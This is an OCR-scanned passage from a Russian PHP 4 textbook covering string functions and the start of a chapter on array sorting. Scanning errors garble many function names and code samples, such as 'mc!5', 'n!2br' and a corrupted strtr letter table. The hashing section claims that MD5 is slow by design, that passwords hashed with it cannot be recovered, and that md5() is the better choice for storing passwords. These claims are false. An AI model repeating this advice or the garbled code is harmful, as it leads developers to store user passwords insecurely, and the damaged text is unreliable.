string Itrim(string $st)

To же, что и trimo , только удаляет исключительно ведущие пробелы, а
концевые не трогает. Используется гораздо реже. Старайтесь всегда вместо
нее применять trim о , и не прогадаете.

string chop(string $st )

Удаляет только концевые пробелы, ведущие не трогает. Эта функция будет
наверняка очень популярной у тех, кто раньше программировал на Perl. Од-
нако следует заметить, что в РНР она выполняет другую функцию.

8 Зак. 699

----------------------- Page 227-----------------------
212 Часть IV. Стандартные функции РНР

Базовые функции

int strlen(string $st)

Одна из наиболее полезных функций. Возвращает просто длину строки, т. е.,
сколько символов содержится в $st. Как уже упоминалось, строка может со-
держать любые символы, в том числе и с нулевым кодом (что запрещено в
Си). Функция strlen ( ) будет правильно работать и с такими строками.

int strpos(string $where , string $what , int $fromwhere=0)

Пытается найти в строке $where подстроку (то есть последовательность
символов) $what и в случае успеха возвращает позицию (индекс) этой под-
строки в строке. Первый символ строки, как и в Си, имеет индекс 0. Необя-
зательный параметр $fromwhere можно задавать, если поиск нужно вести не
с начала строки $from , а с какой-то другой позиции . В этом случае следует
эту позицию передать в $fromwhere . Если подстроку найти не удалось,
функция возвращает false . Однако будьте внимательны, проверяя результат
вызова strpos о на fals e — используйте ля этого только оператор ===.

string substr(string $str , int $from [,int $length] )

Данная функция тоже востребуется очень часто. Ее назначение — возвра-
щать участок строки $str , начиная с позиции $start и длиной $iength . Ес-
ли $ length не задана, то подразумевается подстрока от $ start до конца
строки $str . Если $start больше, чем длина строки, или же значение
$ length равно нулю, то возвращается пустая подстрока.

Однако эта функция может делать и еще довольно полезные вещи. К при-
меру, если мы передадим в $start отрицательное число, то будет считаться,
что это число является индексом подстроки, но только отсчитываемым от
конца $str (например, - 1 означает "начиная с последнего символа строки").
Параметр $iength , если он задан, тоже может быть отрицательным. В этом
случае последним символом возвращенной подстроки будет символ из $str
с индексом $iength , определяемым от конца строки.

int strcmp(string $strl , string $str2)

Сравнивает две строки посимвольно (точнее, побайтово) и возвращает: О,
если строки полностью совпадают; -1, если строка $strl лексикографиче-
ски меньше $str2 ; и 1, если, наоборот, $stri "больше" $str2 . Так как срав-
нение идет побайтово, то регистр символов влияет на результаты сравнений .

int strcasecmp(string $strl , string $str2 )

To же самое, что и strcmpo , только при работе не учитывается регистр
букв. Например, с точки зрения этой функции "аь" и "АВ" равны.

----------------------- Page 228-----------------------
Глава 12. Строковые функции 213

Замечание

Если ваша строка состоит только из "английских" букв, проблем не будет. Од-
нако в случае использования "русских" букв результат (точнее, правильность)
работы функции strcasecmpO сильно зависит от настроек текущей локали
(с/и. ниже).

Работа с блоками текста

Перечисленные ниже функции чаше всего оказываются полезны, если нуж-
но проводить однотипные операции с многострочными блоками текста, за-
данными в строковой переменной .

string str_replace(string $from , string $to , string $str )

Заменяет в строке $str все вхождения подстроки $from (с учетом регистра)
на $to и возвращает результат. Исходная строка, переданная третьим пара-
метром, при этом не меняется. Эта функция работает значительно быстрее,
чем ereg_repiace ( ) , которую мы рассмотрим в главе о регулярных выраже-
ниях РНР, и ее часто используют, если нет необходимости в каких-то экзо-
тических правилах поиска подстроки. Например, вот так мы можем замес-
тить все символы перевода строки на их HTML-эквивалент — тэг <br>:

$st=str_replace("\n","<br>\n",$st)

Как видим, то, что в строке <br>\n тоже есть символ перевода строки, ни-
как не влияет на работу функции, т. е. функция производит лишь однократ-
ный проход по строке. Для решения описанной задачи также применима
функция ni2br ( ) , которая работает чуть быстрее.

string n!2br(string $string )

Заменяет в строке все символы новой строки \п на <br>\n и возвращает ре-
зультат. Исходная строка не изменяется. Обратите внимание на то, что сим-
волы \г , которые присутствуют в конце строки текстовых файлов Windows,
этой функцией никак не учитываются, а потому остаются на старом месте.

string Wordwrap(string $st , int $width=75 , string $break="\n")

Эта функция, наконец-то появившаяся в РНР версии 4, оказывается неве-
роятно полезной при форматировании текста письма перед автоматической
отправкой его адресату при помощи mail о. Она разбивает блок текста $st
на несколько строк, завершаемых символами $break , так, чтобы на одной
строке было не более $width букв. Разбиение происходит по границе слова,
так что текст остается читаемым. Возвращается получившаяся строка с сим-
волами перевода строки, заданными в $break . Давайте рассмотрим пример,
как мы можем отформатировать некоторый текст по ширине поля 60 сим-

----------------------- Page 229-----------------------
214 _ Часть IV. Стандартные функции РНР

волов, предварив каждую строку префиксом " " (то есть, оформить его как
цитирование, принятое в электронной переписке):

function Cite($OurText , $prefix="> ")

! $st=WordWrap($OurText , 60-strlen (Spref ix ) , "\n") ;

$st=$prefix. str_replace ("\n", "\n$prefix" , $st ) ;

// можно было бы сделать это и одной операцией , но так ,

// по-моему , несколько универсальнее .

return $st;

string strip_tags (string $str [ , string $allowable_tags ] }

Эта функция удаляет из строки все тэги и возвращает результат. В парамет-
ре $aiiowabie_tags можно передать тэги, которые не следует удалять из
строки. Они должны перечисляться вплотную друг к другу. Вот пример:

$st="

<Ь>Жирный текст</Ь>

<^>Моноширинный TeKCT</tt>

<а href=http : //www.dklab . ги>Ссылка</а>" ;

echo "Исходный текст : $st";

echo "<пг>После удаления тэгов : " . strip_tags ($st , "<a><b> " ) . "<hr>" ;

Запустив этот пример, мы сможем заметить, что тэги <а> и <ь> не были
удалены (ровно как и их парные закрывающие), в то время как <tt > исчез.

string str repeat (string $st , string $number )

Функция "повторяет" строку $st $number раз и возвращает объединенный
результат. Вот пример:

echo str_repeat ( "test ! ", 3) ; // выводит test ! test ! test !

Функции для преобразований
символов

Web-программирование — одна из тех областей, в которых постоянно при -
ходится манипулировать строками: разрывать их, добавлять и удалять про-
белы, перекодировать в разные кодировки, наконец, URL- кодировать и де-
кодировать. В РНР реализовать все эти действия вручную, используя только
уже описанные примитивы , просто невозможно из соображений быстродей-
ствия. Поэтому- то и существуют встроенные функции , описанные в этом
разделе.

----------------------- Page 230-----------------------
Глава 12. Строковые функции 215

string strtr(string $str , string $from , string $to)

Эта функция применяется не столь широко, но все-таки иногда она бывает
довольно полезной . Делает она вот что: в строке $str заменяет все символы ,
встречающиеся в $from , на их "парные" (то есть расположенные в тех же
позициях, что и во $from) из $to . Функция работает существенно быстрее,
чем ereg_repiace о, которую мы рассмотрим в главе, посвященной регу-
лярным выражениям . Правде, она имеет вместе с тем несколько меньшую
функциональность...

Следующие несколько функций предназначены для быстрого URL-
кодирования и декодирования.

string UrlEncode(string $st)

Функция URL-кодирует строку $st и возвращает результат. Эту функцию
удобно применять , если вы , например , хотите динамически сформировать
ссылку <а href= . . . > на какой-то сценарий , но не уверены, что его пара-
метры содержат только алфавитно-цифровые символы. В этом случае вос-
пользуйтесь функцией так:

echo "<a href=/script.php?param=".UrlEncode($UserData) ;

Теперь, даже если переменная $UserDat a включает символы =, & или даже
пробелы, все равно сценарию будут переданы корректные данные.

string UrlDecode(string $st)

Производит URL-декодирование строки. В принципе, используется значи-
тельно реже, чем UrlEncod e о, потому что РНР и так умеет перекодировать
входные данные автоматически.

string RawUrlEncode(string $st)

Почти полностью аналогична UrlEncod e о, но только пробелы не преобра-
зуются в +, как это делается при передаче данных из формы, а воспринима-
ются как обычные неалфавитно-цифровые символы . Впрочем, этот метод не
порождает никаких дополнительных несовместимостей в коде.

string RawUrlDecode(string $st)

Аналогична UrlDecodeQ , но не воспринимает + как пробел.

Давайте теперь рассмотрим функцию, которая обычно используется в ком-
бинации с echo. Основное ее назначение — гарантировать , что в выводимой
строке ни один участок не будет воспринят как тэг.

string HtmlSpecialChars(string $str )

Заменяет в строке некоторые символы (такие как амперсант[ЕЗ], кавычки и
знаки "больше" и "меньше") на их HTML-эквиваленты, так, чтобы они выгля-
дели на странице "самими собой". Самое типичное применение этой функ-
ции — формирование параметра value в различных элементах формы, чтобы

----------------------- Page 231-----------------------
216 Часть IV. Стандартные функции РНР

не было никаких проблем с кавычками, или же вывод сообщения в гостевой
книге, если вставлять тэги пользователю запрещено. Например, пусть содер-
жимое книги хранится в массиве $воок в очевидном формате. Тогда следую-
щий фрагмент распечатывает содержимое гостевой книги, заботясь о том,
чтобы тэги не воспринимались браузером как описания форматирования:

<?foreach ($Book as $k=>$v) ( ?>

Имя : <?=$v [ 'name ' ] ?><br>

Текст : <?=HtmlSpecialChars ($v [ 'text ' ] ) ?>
<hr>

Используя этот незамысловатый прием, вы гарантированно избавите себя от
проблем с запретом тэгов.

Замечание

Начинающие Web-программисты для решения задачи запрета тэгов часто пы-
таются просто удалить их из строки — например, применив функцию
strip_tags ( ) . Это метод довольно плох, потому что всегда существует веро-
ятность того, что злоумышленник сможет "обмануть" эту функцию. Конечно,
еще хуже метод с применением регулярных выражений, потому что, как из-
вестно, с их помощью вовсе невозможно выделить некоторые тэги из строки —
например, тэги такого вида: <а name= ' a>b ' >.

string StripSlashes (string $st)

Заменяет в строке $st некоторые предваренные слэшем символы на их од-
нокодовые эквиваленты. Это относится к следующим символам: ", ' , \ и
никаким другим.

string AddSlashes (string Sst )

Вставляет слэши только перед следующими символами: ' , " и \ . Функцию
очень удобно использовать при вызове evai o (эта функция выполняет стро-
ку, переданную ей в параметрах, так, как будто имеет дело с небольшой РНР-
программой; о ней (функции) мы еще поговорим, и при том очень подробно).

Функции изменения регистра

Довольно часто нам приходится переводить какие-то строки, скажем, в
верхний регистр, т. е. делать все прописные буквы в строке заглавными. В
принципе, для этой цели можно было бы воспользоваться функцией
strtro , рассмотренной выше, но она все же будет работать не так быстро,
как нам иногда хотелось бы. В РНР есть функции , которые предназначены
специально для таких нужд. Вот они .

string strtolower (string $str )

Преобразует строку в нижний регистр. Возвращает результат перевода.

----------------------- Page 232-----------------------
Глава 12. Строковые функции 217

Надо заметить, что при неправильной настройке локали (про локаль будет
рассказано чуть позже, а пока скажу только, что это набор правил по пере-
воду символов из одного регистра в другой, переводу даты и времени, де-
нежных единиц и т. д.) функция будет выдавать, мягко говоря, странные
результаты при работе с буквами кириллицы. Возможно, в несложных про-
граммах, а также если нет уверенности в поддержке соответствующей лока-
ли операционной системой, проще будет воспользоваться "ручным" преоб-
разованием символов, задействуя функцию strtr ( ) :

$st=strtr($st,

"AБBГДEЁЖЗИЙKЛMHOПPCTУФXЦЧШЩЬЫЬЭЮЯABCDEFGHIKLMNOPQRSTUVWXYZ", •
"абвгдеёжзийклмнопрстуфхцчшщъыьэюяаЬсс!еPghiklmnopqrstuvwxyz");

Главное достоинство данного способа — то, что в случае проблем с коди-
ровкой для восстановления работоспособности сценария вам придется всего
лишь преобразовать его в ту же кодировку, в которой у вас хранятся доку-
менты на сервере.

string strtoupper (string $str )

Переводит строку в верхний регистр. Возвращает результат преобразования.
Эта функции также прекрасно работает со строками, составленными из
"английских" букв, но с "русскими" буквами может возникнуть все та же
проблема.

Установка локали (локальных настроек)

string SetLocale(string $category , string $locale)

Функция устанавливает текущую локаль, с которой будут работать функции
преобразования регистра символов, вывода даты-времени и т. д. Вообще
говоря, для каждой категории функций локаль определяется отдельно и
выглядит по-разному. То, какую именно категорию функций затронет вызов
SetLocale о, задается в параметре $category . Он может принимать сле-
дующие строковые значения:

П LC_CTYP E -- активизирует указанную локаль для функций перевода в
верхний/нижний регистры;

П LC_NUMERIC — активизирует локаль для функций форматирования дроб-
ных чисел — а именно, задает разделитель целой и дробной части в чис-
лах;

П LCJTIME — задает формат вывода даты и времени по умолчанию ;

П LC__ALL — устанавливает все вышеперечисленные режимы .

Теперь поговорим о параметре $iocaie . Как известно, каждая локаль, уста-
новленная в системе, имеет свое уникальное имя, по которому к ней можно

----------------------- Page 233-----------------------
218 Часть IV. Стандартные функции РНР

обратиться. Именно оно и фиксируется в этом параметре. Однако, есть два
важных исключения из этого правила. Во-первых, если величина $ locale
равна пустой строке "", то устанавливается та локаль, которая указана в гло-
бальной переменной окружения с именем, совпадающим с именем категории
$category (или LANG — она практически всегда присутствует в Unix). Во-
вторых, если в этом параметре передается 0, то новая локаль не устанавлива-
ется, а просто возвращается имя текущей локали для указанного режима.

К сожалению, имена локалей задаются при настройке операционной систе-
мы, и для них , по-видимому , не существует стандартов. Выясните у своего
хостинг-провайдера , как называются локали для разных кодировок русских
символов. Но, если следующий фрагмент работает у вашего хостинг-
провайдера, это не означает, что он заработает, например , под Windows :

setlocale('LC^CTYPE' , 'ru_SU.KOI8-R' ) ;

Здесь вызов устанавливает таблицу замены регистра букв в соответствии с
кодировкой KOI8-R.

По правде говоря, локаль — вещь довольно непредсказуемая и, как я уже
говорил, довольно плохо переносимая между операционными системами .
Так что, если ваш сценарий не очень велик, задумайтесь: возможно, лучше
будет искать обходной путь (например, использовать strtro) , а не рассчи-
тывать на локаль.

Преобразование кодировок

Часто встречается ситуация, когда нам требуется преобразовать строку из
одной кодировки кириллицы в другую . Например , мы в программе сменили
локаль : была кодировка windows, а стала — KOI8-R. Но строки-то остались
по-прежнему в кодировке WIN-1251 , а значит, для правильной работы с
ними нам нужно их перекодировать в KOI8-R. Для этого и служит функция
преобразования кодировок.

string convert_cyr_string(string $str , char $from , char $to) ;

Функция переводит строку $str из кодировки $from в кодировку $to . Ко-
нечно, это имеет смысл только для строк, содержащих "русские" буквы, т. к.
латиница во всех кодировках выглядит одинаково. Разумеется, кодировка
Sfrom должна совпадать с истинной кодировкой строки, иначе результат
получится неверным. Значения $from и $to — один символ, определяющий
кодировку:

П k — koi8-r

П w — windows-125 1

П i - iso8859-5

----------------------- Page 234-----------------------
Глава 12. Строковые функции 219

Па — х-ср866

П d — х-ср866

d m — x-mac-cyrillic

Функция работает достаточно быстро, так что ее вполне можно применять ,
скажем, для перекодировки писем в нужную форму перед их отправкой по
электронной почте.

Функции форматных преобразований

Как мы знаем, переменные в строках РНР интерполируются, поэтому прак-
тически всегда задача "смешивания" текста со значениями переменных не
является проблемой. Например , мы можем спокойно написать что-то вроде:

echo "Привет , Sname ! Вам $аде лет." ;

Вспомните, что в Си нам приходилось для аналогичных целей писать сле-
дующий код:

printf("Привет , %s ! Вам %з лет",name , age) ;

Язык РНР также поддерживает ряд функций , использующих такой же син-
таксис, как и их Си-эквиваленты . Бывают случаи , когда их применение дает
наиболее красивое и лаконичное решение , хотя это и случается довольно
нечасто.

string sprintf(string $format [ , mixed args , ...])

Эта функция — аналог функции sprintf о в Си. Она возвращает строку,
составленную на основе строки форматирования, содержащей некоторые
специальные символы, которые будут впоследствии заменены на значения
соответствующих переменных из списка аргументов.

Строка форматирования $ format может включать в себя команды формати-
рования, предваренные символом %. Все остальные символы копируются в
выходную строку как есть. Каждый спецификатор формата (то есть, символ
% и следующие за ним команды) соответствует одному , и только одному па-
раметру, указанному после параметра $format . Если же нужно поместить в
текст % как обычный символ , необходимо его удвоить:
echo sprintf ("The percentage was 9od%%", $percentage ) ;

Каждый спецификатор формата включает максимум пять элементов (в по-
рядке их следования после символа %) :

П Необязательный спецификатор размера поля , который указывает, сколь-
ко символов будет отведено под выводимую величину . В качестве симво -
лов-заполнителей (если значение имеет меньший размер, чем размер по-
ля для его вывода) может использоваться пробел или 0, по умолчанию

----------------------- Page 235-----------------------
220 Часть IV. Стандартные функции РНР

подставляется пробел. Можно задать любой другой символ-наполнитель,
если указать его в строке форматирования, предварив апострофом ' .

П Опциональный спецификатор выравнивания, определяющий, будет ре-
зультат выровнен по правому или по левому краю поля. По умолчанию
производится выравнивание по правому краю, однако можно указать и
левое выравнивание, задав символ - (минус).

О Необязательное число, определяющее размер поля для вывода величины .
Если результат не будет в поле помещаться, то он "вылезет" за края этого
поля, но не будет усечен.

О Необязательное число, предваренное точкой ".", предписывающее,
сколько знаков после запятой будет в результирующей строке. Этот спе-
цификатор учитывается только в том случае, если происходит вывод чис-
ла с плавающей точкой, в противном случае он игнорируется.

П Наконец, обязательный (заметьте — единственный обязательный!) спе-
цификатор типа величины, которая будет помещена в выходную строку:

• ь — очередной аргумент из списка выводится как двоичное целое число;

• с — выводится символ с указанным в аргументе кодом;

• d — целое число;

• f — число с плавающей точкой;

• о — восьмеричное целое число;

• s — строка символов;

• х — шестнадцатеричное целое число с маленькими буквами a—f;

• х — шестнадцатеричное число с большими буквами A—F.

Вот как можно указать точность представления чисел с плавающей точкой:

$moneyl = 68.75;

$money2 = 54.35;

$money = $moneyl + $money2 ;

// echo $money выведет "123.1".. .

$formatted = sprintf ("%01.2f", $money) ;

// echo $formatted выведет "123.10" !

Вот пример вывода целого числа, предваренного нужным количеством нулей:

$isodate=sprintf("%04d-%02d-%02d",$year,$month,$day);

Последний пример может вам очень пригодиться и показывает, насколько
удобной может иногда быть функция sprintf ( ) .

----------------------- Page 236-----------------------
Глава 12. Строковые функции 221

void printf(string $format [ , mixed args , ...])

Делает то же самое, что и sprintf ( ) , только результирующая строка не воз-
вращается, а направляется в браузер пользователя.

string number_format(float $number , int $decimals ,

string $dec_point="." , string $thousands_sep=",") ;

Эта функция форматирует число с плавающей точкой с разделением его на
триады с указанной точностью. Она может быть вызвана с двумя или че-
тырьмя аргументами, но не с тремя! Параметр $decimais задает, сколько
цифр после запятой должно быть у числа в выходной строке. Параметр
$dec_point представляет собой разделитель целой и дробной частей, а па-
раметр $thousands_sep — разделитель триад в числе (если указать на его
месте пустую строку, то триады не отделяются друг от друга).

В РНР существует еще несколько функций для выполнения форматных
преобразований, среди н и х — s s c a n f o и f s c a n f o , которые часто приме-
няются в Си. Однако в РНР их использование весьма ограничено: чаше
всего для разбора строк оказывается гораздо выгоднее привлечь регулярные
выражения или функцию explode ( } . Именно по этой причине я здесь не
уделяю повышенного внимания этим функциям .

Работа с бинарными данными

Как мы уже знаем, строки могут содержать любые, в том числе и бинарные ,
данные (то есть, символы с кодами, меньшими 32). Для работы с такими
строками иногда удобно использовать функции pack ( ) и unpack ( ) .

string pack(string $format [,mixed $args , ...])

Функция pack ( ) упаковывает заданные аргументы в бинарную строку, кото-
рая затем и возвращается. Формат параметров, а также их количество, задает-
ся при помощи строки $ format , которая представляет собой набор однобук-
венных спецификаторов форматирования — наподобие тех, которые указы-
ваются в sprintf о, но только без знака %. После каждого спецификатора
может стоять число, которое отмечает, сколько информации будет обработано
данным спецификатором. А именно, для форматов a, A, h и н число задает,
какое количество символов будет помещено в бинарную строку из тех, что
находятся в очередном параметре-строке при вызове функции (то есть, опре-
деляется размер поля для вывода строки). В случае @ оно определяет абсолют-
ную позицию, в которую будут помещены следующие данные. Для всех ос-
тальных спецификаторов следующие за ними числа задают количество аргу-
ментов, на которые распространяется действие данного формата. Вместо чис-
ла можно указать *, в этом случае подразумевается, что спецификатор дейст-
вует на все оставшиеся данные. Вот полный список спецификаторов формата:

П а — строка, свободные места в поле заполняются символом с кодом 0;

----------------------- Page 237-----------------------
222 Часть IV. Стандартные функции РНР

П А — строка, свободные места заполняются пробелами;

П ь — шестнадцатеричная строка, младшие разряды в начале;

П н — шестнадцатеричная строка, старшие разряды в начале;

О с — знаковый байт (символ);

П с — беззнаковый байт;

П з — знаковое короткое целое (16 битов, порядок байтов определяется ар-
хитектурой процессора);

П s — беззнаковое короткое целое;

П п — беззнаковое целое (16 битов, старшие разряды в конце) ;

П v — беззнаковое целое (16 битов, младшие разряды в конце);

П i — знаковое целое (размер и порядок байтов определяется архитектурой);

П i — беззнаковое целое;

П 1 — знаковое длинное целое (32 бита, порядок байтов определяется архи-
тектурой);

П L — беззнаковое длинное целое;

O N — беззнаковое длинное целое (32 бита, старшие разряды в конце);

П v — беззнаковое целое (32 бита, младшие разряды в конце);

П f — число с плавающей точкой (зависит от архитектуры);

П а — число с плавающей точкой двойной точности (зависит от архитектуры);

П х — символ с нулевым кодом;

П х — возврат назад на 1 байт;

П @ — заполнение нулевым кодом до заданной абсолютной позиции .

Немало, не правда ли? Вот пример использования этой функции :

// Целое , целое , все остальное — символы

$bindata = pack("nvc*" , 0x1234 , 0x5678 , 65, 66);

После выполнения приведенного кода в строке $bindata будет содержаться
6 байтов в такой последовательности: 0x12 , 0x34, 0x78, 0x56, 0x41, 0x42 (в
шестнадцатеричной системе счисления) .

array unpack(string $format , string $data )

Функция unpack о выполняет действия , обратные pack () - - распаковывает
строку $data , пользуясь информацией о формате $format . Возвращает она
ассоциативный массив, содержащий элементы распакованных данных .
Строка Sformat задается немного в другом формате, чем в функции p a c k O ,
а именно, после каждого спецификатора (или после завершающего его чис-

----------------------- Page 238-----------------------
Глава 12. Строковые функции 223

ла) должно "впритык" следовать имя ключа в ассоциативном массиве. Раз-
деляются параметры при помощи символа / . Например :

$array=unpack("c2chars/nint", $bindata) ;

В результирующий массив будут записаны элементы с ключами: charsi ,
chars2 и int . Как видим , если после спецификатора задано число, то к
имени ключа будут добавлены номера 1, 2 и т. д., т. е. в массиве появятся
несколько ключей, отличающихся суффиксами .

Когда бывают полезны функции pack о и unpack',) ? Например, вы считали
участок GIF-файла , содержащий его размер в пикселах , и хотите преобразо-
вать бинарную 32-битную ячейку памяти в формат, понятный РНР. Или ,
наоборот, стремитесь работать с файлами с фиксированным размером запи-
си. В этом случае вам и пригодятся рассматриваемые функции . Вообще го-
воря, функции pack о и unpack о применяются сравнительно редко. Это
связано с тем, что в РНР практически все действия , которые могут потребо-
вать работы с бинарными данными (например , анализ файла с рисунком с
целью определения его размера) , уже реализованы в виде встроенных функ-
ций (в нашем примере с GIF-картинкой это Getimagesiz e ( ) ) .

Хэш-функции

string mc!5 (string $st)

Возвращает хэш-код строки $st , основанный на алгоритме корпорации RSA
Data Security под названием "MD5 Message-Digest Algorithm" . Хэш-код — это
просто строка, практически уникальная для каждой из строк $st . To есть
вероятность того, что две разные строки, переданные в $st , дадут нам одина-
ковый хэш-код, стремится к нулю .

Примечание

Я где-то читал об одном опыте, в котором принимали участие более 1000 мощ-
ных компьютеров, на протяжении года генерировавшие хэш-коды для строк, и
за все время не было обнаружено ни одного совпадения MDS-кодов для раз-
личных строк. Более того, математически доказано, что они могли бы с тем же
результатом заниматься этим на протяжении еще нескольких тысяч лет.

В то же время, если длина строки $st может достигать нескольких тысяч
символов, то ее MDS-код занимает максимум 32 символа.

Для чего нужен хэш-код и, в частности, алгоритм MD5? Например, для
проверки паролей на истинность. Пусть, к примеру, у нас есть система со
многими пользователями, каждый из которых имеет свой пароль. Можно ,
конечно, хранить все эти пароли в обычном виде, или зашифровать их ка-
ким-нибудь способом, но тогда велика вероятность того, что в один пре-

----------------------- Page 239-----------------------
224 Часть IV. Стандартные функции РНР

красный день этот файл с паролями у вас украдут. Если пароли были за-
шифрованы, то, зная метод шифрования , не составит особого труда их рас-
кодировать. Однако можно поступить другим способом, при использовании
которого даже если файл с паролями украдут, расшифровать его будет мате-
матически невозможно. Сделаем так: в файле паролей будем хранить не са-
ми пароли, а их (MD5) хэш-коды. При попытке какого-либо пользователя
войти в систему мы вычислим хэш-код только что введенного им пароля и
сравним его с тем, который записан у нас в базе данных . Если коды совпа-
дут, значит, все в порядке, а если нет — что ж, извините...
Конечно, при вычислении хэш-кода какая-то часть информации о строке $st
безвозвратно теряется. И именно это позволяет нам не опасаться, что зло-
умышленник, получивший файл паролей, сможет его когда-нибудь расшиф-
ровать. Ведь в нем нет самих паролей, нет даже их каких-то связных частей!

Алгоритм MD5 специально был изобретен для того, чтобы как раз и обеспе-
чить описанную выше схему. Так как все же есть вероятность того, что у
разных строк МО5-коды совпадут, то, чтобы не дать возможность злоумыш-
леннику войти в систему, перебирая пароли с бешеной скоростью, алгоритм
MD5 работает довольно медленно. И его нельзя никак убыстрить, потому
что это будет уже не MD5. Так что даже на самых мощных компьютерах
вряд ли получится перебирать более нескольких тысяч паролей в секунду, а
это совсем маленькая скорость, капля в океане возможных MDS-кодов.

int crc32(string Sstr )

Функция сгс32 о вычисляет 32-битную контрольную сумму строки $str . To
есть, результат ее работы — 32-битное (4-байтовое) целое число. Эта функ-
ция работает гораздо быстрее md5 о , но в то же время выдает гораздо менее
надежные "хэш-коды" для строки. Так что, теперь, чтобы получить методом
случайного подбора для двух разных строк одинаковые "хэш-коды", вам по-
требуется не триллион лет работы самого мощного компьютера, а всего
лишь год-другой. Впрочем, если не использовать генератор случайных чи-
сел, а разобраться в алгоритме вычисления 32-битной контрольной суммы,
эту же задачу легко можно решить буквально за секунду, потому что алго-
ритм сгс32 имеет неизмеримо большую предсказуемость, чем MD5.

string crypt(string $str [,string $salt] )

Алгоритм шифрования DES до недавнего времени был стандартным для
всех версий Unix и использовался как раз для кодирования паролей пользо-
вателей (тем же самым способом, о котором мы говорили при рассмотрении
функции mdso) . Но в последнее время MD5 постепенно начал его вытес-
нять. Это и понятно: MD5 гораздо более надежен. Рекомендую и вам везде
применять md5( ) вместо crypto . Впрочем, функция crypto все же может
понадобиться вам в одном случае: если вы хотите сгенерировать хэш-код
для другой программы, которая использует именно алгоритм DES
(например, для сервера Apache).

----------------------- Page 240-----------------------
Глава 12. Строковые функции 225

Хэш-код для одной и той же строки, но с различными значениями $sait
(кстати, это должна быть обязательно двухсимвольная строка) дает разные
результаты. Если параметр $sait пропущен, РНР сгенерирует его случай-
ным образом, так что не удивляйтесь работе следующего примера:

$st="This is the test";

echo crypt($st)."<br>" ; // можем получить , например , 7N8JKLKbBWEhg

echo crypt($st)."<br>" ; // а здесь появится , например , Jsk746pawBOA2

Как видите, два одинаковых вызова crypt o без второго параметра выдают
совершенно разные хэш-коды. За деталями работы функции обращайтесь к
документации РНР.

Сброс буфера вывода

void f l u s h ( )

Эта функция имеет очень и очень отдаленное отношение к работе со строка-
ми, но она еще дальше отстоит от других функций. Именно поэтому я вклю-
чил ее в данную главу. Начнем издалека: обычно при использовании echo
данные не прямо сразу отправляются клиенту, а накапливаются в специаль-
ном буфере, чтобы потом транспортироваться большой "пачкой". Так получа-
ется быстрее. Однако, иногда бывает нужно досрочно отправить все данные
из буфера пользователю, например, если вы что-то выводите в реальном вре-
мени (так зачастую работают чаты). Вот тут-то вам и поможет функция
flush ( ) , которая отправляет содержимое буфера echo в браузер пользователя.

----------------------- Page 241-----------------------
Глава 13

Работа с массивами

В части III книги мы уже рассматривали многие возможности, которые
предоставляет РНР для работы с ассоциативными массивами. В их число
входят различные механизмы перебора, получение числа элементов, опери-
рование ключами и значениями и т. д.

Однако здесь перечислено далеко не все, что можно делать с массивами в
РНР. Язык (особенно версии 4) содержит множество других, иногда крайне
полезных, функций . В этой главе мы рассмотрим большинство из них .

Сортировка массивов

Начнем с самого простого — сортировки массивов. В РНР для этого суще-
ствует очень много функций. С их помощью можно сортировать ассоциа-
тивные массивы и списки в порядке возрастания или убывания , а также в
том порядке, в каком заблагорассудится — посредством пользовательской
функции сортировки.

Сортировка массива по значениям
(asort()/arsort())

Функция asort o сортирует массив, указанный в ее параметре, так, чтобы
его значения шли в алфавитном (если это строки) или в возрастающем (для
чисел) порядке. При этом сохраняются связи между ключами и соответст-
вующими им значениями , т. е. некоторые пары ключ=>значение просто
"всплывают" наверх, а некоторые — наоборот, "опускаются". Например :

$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha", "d"=>"Processor");

asort($A);

foreach($A as $k=>$v) echo "$k=>$v ";

// выводит "c=>Alpha d=>Processor b=>Weapon a=>Zero "

// как видим , поменялся только порядок пар ключ=>значение

Функция arsort о выполняет то же самое, за одним исключением: она упо-
рядочивает массив не по возрастанию, а по убыванию.

----------------------- Page 242-----------------------
Глава 13. Работа с массивами 227

Сортировка по ключам
(ksort()/krsort())

Функция ksort o практически идентична функции asorto , с тем различи-
ем, что сортировка осуществляется не по значениями, а по ключам (в по-
рядке возрастания). Например:

$A=array("d"=>"Zero", "c"=>"Weapon" , "b"=>"Alpha" , "a"=>"Processor");

ksort($A);

for(Reset($A); list($k,$v)=each($A); ) echo "$k=>$v ";

// выводит "a=>Processor b=>Alpha c=>Weapon d=>Zero "

Функция для сортировки по ключам в обратном порядке называется
krsort ( ) и применяется точно в таком же контексте, что и ksort ( ) .

Сортировка по ключам
при помощи функции uksortQ

Довольно часто нам приходится сортировать что-то по более сложному кри-
терию, чем просто по алфавиту. Например, пусть в $Fiies хранится список
имен файлов и подкаталогов в текущем каталоге. Возможно, мы захотим
вывести этот список не только в лексикографическом порядке, но также и
чтобы все каталоги предшествовали файлам. В этом случае нам стоит вос-
пользоваться функцией u k s o r t o , написав предварительно функцию срав-
нения с двумя параметрами, как того требует uksort ( ) .

: Листинг 13.1. Сортировка с помощью пользовательской функции

// Эта функция должна сравнивать значения $fl и $f2 и возвращать :

// -1, если $fl<$f2 ,

// 0 , если $fl==$f2

// 1 , если $fl>$f2

// Под < и > понимается следование этих имен в выводимом списке

function FCmp($fl,$f2)

{ // Каталог всегда предшествует файлу

if(is_dir($fl) && !is_dir($f2)) return -1;

// Файл всегда идет после каталога

if(!is_dir($fl) && is_dir($f2)) return 1 ;

// Иначе сравниваем лексикографически

if($fl<$f2) return -1; elseif($fl>$f2) return 1; else return 0;

----------------------- Page 243-----------------------
228 Часть IV. Стандартные функции РНР

// Пусть $Files содержит массив с ключами — именами файлов

// в текущем каталоге . Отсортируем его .

uksort($Files,"FCmp"); // передаем функцию сортировки "по ссылке "

Конечно, связи между ключами и значениями функцией uksort ( ) сохраня-
ются, т. е., опять же, некоторые пары просто "всплывают" наверх, а дру-
гие — "оседают".

Сортировка по значениям
при помощи функции uasortO

Функция uasort о очень похожа на uksort о , с той разницей, что сменной
(пользовательской) функции сортировки "подсовываются" не ключи , а оче-
редные значения из массива. При этом также сохраняются связи в парах
ключ=>значение.

Переворачивание массива array_reverce()

Функция array_reverse ( ) возвращает массив, элементы которого следуют в
обратном порядке относительно массива, переданного в параметре. При этом
связи между ключами и значениями, конечно, не теряются. Например, вместо
того, чтобы ранжировать массив в обратном порядке при помощи arsort ( ) ,
мы можем отсортировать его в прямом порядке, а затем перевернуть:

$A=array("a"=>"Zero","b"=>"Weapon","c"=>"Alpha","d"=>"Processor");
asort ($A) ;
$A=array_reverse($A);

Конечно, указанная последовательность работает дольше, чем один-единст-
венный ВЫЗОВ a r s o r t ( ) .

Сортировка списка sort()/rsort()

